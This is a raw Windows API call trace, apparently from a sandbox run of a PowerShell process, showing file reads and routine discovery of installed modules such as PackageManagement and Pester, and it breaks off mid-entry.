1 [0241.499] ReadFile (in: hFile=0x778, lpBuffer=0x53b9851, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x87be0e4, lpOverlapped=0x0 | out: lpBuffer=0x53b9851*, lpNumberOfBytesRead=0x87be0e4*=0x4, lpOverlapped=0x0) returned 1 [0241.499] ReadFile (in: hFile=0x778, lpBuffer=0x53b9c74, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x87be0e4, lpOverlapped=0x0 | out: lpBuffer=0x53b9c74*, lpNumberOfBytesRead=0x87be0e4*=0x1000, lpOverlapped=0x0) returned 1 [0241.500] ReadFile (in: hFile=0x778, lpBuffer=0x53b9852, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x87be0e4, lpOverlapped=0x0 | out: lpBuffer=0x53b9852*, lpNumberOfBytesRead=0x87be0e4*=0x9, lpOverlapped=0x0) returned 1 [0241.500] ReadFile (in: hFile=0x778, lpBuffer=0x53b9c74, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x87be0e4, lpOverlapped=0x0 | out: lpBuffer=0x53b9c74*, lpNumberOfBytesRead=0x87be0e4*=0x1000, lpOverlapped=0x0) returned 1 [0241.501] ReadFile (in: hFile=0x778, lpBuffer=0x53b9853, nNumberOfBytesToRead=0x5, lpNumberOfBytesRead=0x87be0e4, lpOverlapped=0x0 | out: lpBuffer=0x53b9853*, lpNumberOfBytesRead=0x87be0e4*=0x5, lpOverlapped=0x0) returned 1 [0241.501] ReadFile (in: hFile=0x778, lpBuffer=0x53b9c74, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x87be0e4, lpOverlapped=0x0 | out: lpBuffer=0x53b9c74*, lpNumberOfBytesRead=0x87be0e4*=0x1000, lpOverlapped=0x0) returned 1 [0241.501] ReadFile (in: hFile=0x778, lpBuffer=0x53b9865, nNumberOfBytesToRead=0x5, lpNumberOfBytesRead=0x87be0e4, lpOverlapped=0x0 | out: lpBuffer=0x53b9865*, lpNumberOfBytesRead=0x87be0e4*=0x5, lpOverlapped=0x0) returned 1 [0241.501] ReadFile (in: hFile=0x778, lpBuffer=0x53b9c74, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x87be0e4, lpOverlapped=0x0 | out: lpBuffer=0x53b9c74*, lpNumberOfBytesRead=0x87be0e4*=0x1000, lpOverlapped=0x0) returned 1 [0241.502] ReadFile (in: hFile=0x778, lpBuffer=0x53b9864, nNumberOfBytesToRead=0x6, lpNumberOfBytesRead=0x87be0e4, lpOverlapped=0x0 | out: lpBuffer=0x53b9864*, lpNumberOfBytesRead=0x87be0e4*=0x6, lpOverlapped=0x0) returned 1 [0241.502] ReadFile (in: hFile=0x778, lpBuffer=0x53b9c74, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x87be0e4, lpOverlapped=0x0 | out: lpBuffer=0x53b9c74*, lpNumberOfBytesRead=0x87be0e4*=0x1000, lpOverlapped=0x0) returned 1 [0241.503] ReadFile (in: hFile=0x778, lpBuffer=0x53b9865, nNumberOfBytesToRead=0x3a, lpNumberOfBytesRead=0x87be0e4, lpOverlapped=0x0 | out: lpBuffer=0x53b9865*, lpNumberOfBytesRead=0x87be0e4*=0x3a, lpOverlapped=0x0) returned 1 [0241.503] ReadFile (in: hFile=0x778, lpBuffer=0x53b9c74, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x87be0e4, lpOverlapped=0x0 | out: lpBuffer=0x53b9c74*, lpNumberOfBytesRead=0x87be0e4*=0x1000, lpOverlapped=0x0) returned 1 [0241.503] ReadFile (in: hFile=0x778, lpBuffer=0x53b985e, nNumberOfBytesToRead=0x3, lpNumberOfBytesRead=0x87be0e4, lpOverlapped=0x0 | out: lpBuffer=0x53b985e*, lpNumberOfBytesRead=0x87be0e4*=0x3, lpOverlapped=0x0) returned 1 [0241.503] ReadFile (in: hFile=0x778, lpBuffer=0x53b9c74, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x87be0e4, lpOverlapped=0x0 | out: lpBuffer=0x53b9c74*, lpNumberOfBytesRead=0x87be0e4*=0x1000, lpOverlapped=0x0) returned 1 [0241.504] ReadFile (in: hFile=0x778, lpBuffer=0x53b9851, nNumberOfBytesToRead=0xe, lpNumberOfBytesRead=0x87be0e4, lpOverlapped=0x0 | out: lpBuffer=0x53b9851*, lpNumberOfBytesRead=0x87be0e4*=0xe, lpOverlapped=0x0) returned 1 [0241.504] ReadFile (in: hFile=0x778, lpBuffer=0x53b9c74, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x87be0e4, lpOverlapped=0x0 | out: lpBuffer=0x53b9c74*, lpNumberOfBytesRead=0x87be0e4*=0x1000, lpOverlapped=0x0) returned 1 [0241.504] ReadFile (in: hFile=0x778, lpBuffer=0x53b984f, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x87be0d0, lpOverlapped=0x0 | out: lpBuffer=0x53b984f*, lpNumberOfBytesRead=0x87be0d0*=0x1, lpOverlapped=0x0) returned 1 [0241.504] ReadFile (in: hFile=0x778, lpBuffer=0x53b9c74, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x87be0e4, lpOverlapped=0x0 | out: lpBuffer=0x53b9c74*, lpNumberOfBytesRead=0x87be0e4*=0x1000, lpOverlapped=0x0) returned 1 [0241.505] ReadFile (in: hFile=0x778, lpBuffer=0x53b9850, nNumberOfBytesToRead=0x12, lpNumberOfBytesRead=0x87be0e4, lpOverlapped=0x0 | out: lpBuffer=0x53b9850*, lpNumberOfBytesRead=0x87be0e4*=0x12, lpOverlapped=0x0) returned 1 [0241.505] ReadFile (in: hFile=0x778, lpBuffer=0x53b9c74, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x87be0e4, lpOverlapped=0x0 | out: lpBuffer=0x53b9c74*, lpNumberOfBytesRead=0x87be0e4*=0x1000, lpOverlapped=0x0) returned 1 [0241.506] ReadFile (in: hFile=0x778, lpBuffer=0x53b985e, nNumberOfBytesToRead=0x3, lpNumberOfBytesRead=0x87be0e4, lpOverlapped=0x0 | out: lpBuffer=0x53b985e*, lpNumberOfBytesRead=0x87be0e4*=0x3, lpOverlapped=0x0) returned 1 [0241.506] ReadFile (in: hFile=0x778, lpBuffer=0x53b9c74, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x87be0e4, lpOverlapped=0x0 | out: lpBuffer=0x53b9c74*, lpNumberOfBytesRead=0x87be0e4*=0xd4c, lpOverlapped=0x0) returned 1 [0241.506] GetEnvironmentVariableW (in: lpName="PSDisableModuleAnalysisCacheCleanup", lpBuffer=0x87bdf48, nSize=0xc3 | out: lpBuffer="ភ狌") returned 0x0 [0241.507] QueryUnbiasedInterruptTime (in: UnbiasedTime=0x87be08c | out: UnbiasedTime=0x87be08c) returned 1 [0241.869] QueryUnbiasedInterruptTime (in: UnbiasedTime=0x87be07c | out: UnbiasedTime=0x87be07c) returned 1 [0241.870] CloseHandle (hObject=0x778) returned 1 [0241.871] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.psd1")) returned 0xffffffff [0241.871] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.psm1")) returned 0xffffffff [0241.871] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.cdxml")) returned 0xffffffff [0241.871] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.xaml")) returned 0xffffffff [0241.871] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.ni.dll")) returned 0xffffffff [0241.871] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.dll")) returned 0xffffffff [0241.872] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be8a4) returned 1 [0241.872] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0241.872] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x3d, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x3c [0241.872] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\*", lpFindFileData=0x87be5cc | out: lpFindFileData=0x87be5cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50eaa6c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7885158 [0241.872] FindNextFileW (in: hFindFile=0x7885158, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50eaa6c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.872] FindNextFileW (in: hFindFile=0x7885158, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb512ac95, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0241.873] FindNextFileW (in: hFindFile=0x7885158, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0241.873] FindClose (in: hFindFile=0x7885158 | out: hFindFile=0x7885158) returned 1 [0241.873] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be860) returned 1 [0241.873] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be86c) returned 1 [0241.873] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0241.873] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0241.873] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be838) returned 1 [0241.873] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x87be8b4 | out: lpFileInformation=0x87be8b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a59065a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8fa)) returned 1 [0241.878] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be834) returned 1 [0241.879] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0241.879] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0241.879] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0241.879] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0241.879] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be85c) returned 1 [0241.879] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x53f0b6c | out: lpFileInformation=0x53f0b6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a59065a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8fa)) returned 1 [0241.879] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be858) returned 1 [0241.879] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psd1")) returned 0xffffffff [0241.879] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psm1")) returned 0xffffffff [0241.880] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.cdxml")) returned 0xffffffff [0241.880] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.xaml")) returned 0xffffffff [0241.880] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.ni.dll")) returned 0xffffffff [0241.880] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.dll")) returned 0xffffffff [0241.880] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be8a4) returned 1 [0241.880] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0241.880] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester", nBufferLength=0x32, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester", lpFilePart=0x0) returned 0x31 [0241.880] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\*", lpFindFileData=0x87be5cc | out: lpFindFileData=0x87be5cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x462363f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x462363f6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7885498 [0241.881] FindNextFileW (in: hFindFile=0x7885498, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x462363f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x462363f6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.881] FindNextFileW (in: hFindFile=0x7885498, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e338c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.3.5", cAlternateFileName="3351CC~1.5")) returned 1 [0241.882] FindNextFileW (in: hFindFile=0x7885498, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb529e7f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.4.0", cAlternateFileName="34AE2D~1.0")) returned 1 [0241.882] FindNextFileW (in: hFindFile=0x7885498, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0241.882] FindClose (in: hFindFile=0x7885498 | out: hFindFile=0x7885498) returned 1 [0241.882] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be860) returned 1 [0241.882] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be86c) returned 1 [0241.887] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0241.887] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", nBufferLength=0x44, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", lpFilePart=0x0) returned 0x43 [0241.887] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be838) returned 1 [0241.887] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\3.4.0\\pester.psd1"), fInfoLevelId=0x0, lpFileInformation=0x87be8b4 | out: lpFileInformation=0x87be8b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fbcba3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fbcba3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fbcba3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1014)) returned 1 [0241.891] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be834) returned 1 [0241.891] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0241.891] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", nBufferLength=0x44, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", lpFilePart=0x0) returned 0x43 [0241.892] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0241.892] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", nBufferLength=0x44, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", lpFilePart=0x0) returned 0x43 [0241.892] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be85c) returned 1 [0241.892] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\3.4.0\\pester.psd1"), fInfoLevelId=0x0, lpFileInformation=0x53f275c | out: lpFileInformation=0x53f275c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fbcba3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fbcba3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fbcba3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1014)) returned 1 [0241.892] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be858) returned 1 [0241.892] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0241.892] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", nBufferLength=0x44, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", lpFilePart=0x0) returned 0x43 [0241.892] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be838) returned 1 [0241.892] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\3.3.5\\pester.psd1"), fInfoLevelId=0x0, lpFileInformation=0x87be8b4 | out: lpFileInformation=0x87be8b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x35e5)) returned 1 [0241.897] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be834) returned 1 [0241.898] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0241.898] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", nBufferLength=0x44, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", lpFilePart=0x0) returned 0x43 [0241.898] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0241.898] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", nBufferLength=0x44, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", lpFilePart=0x0) returned 0x43 [0241.898] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be85c) returned 1 [0241.898] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\3.3.5\\pester.psd1"), fInfoLevelId=0x0, lpFileInformation=0x53f2a0c | out: lpFileInformation=0x53f2a0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x35e5)) returned 1 [0241.898] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be858) returned 1 [0241.898] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\Pester.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\pester.psd1")) returned 0xffffffff [0241.898] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\Pester.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\pester.psm1")) returned 0xffffffff [0241.898] GetFileAttributesW (lpFileName="C:\\Program 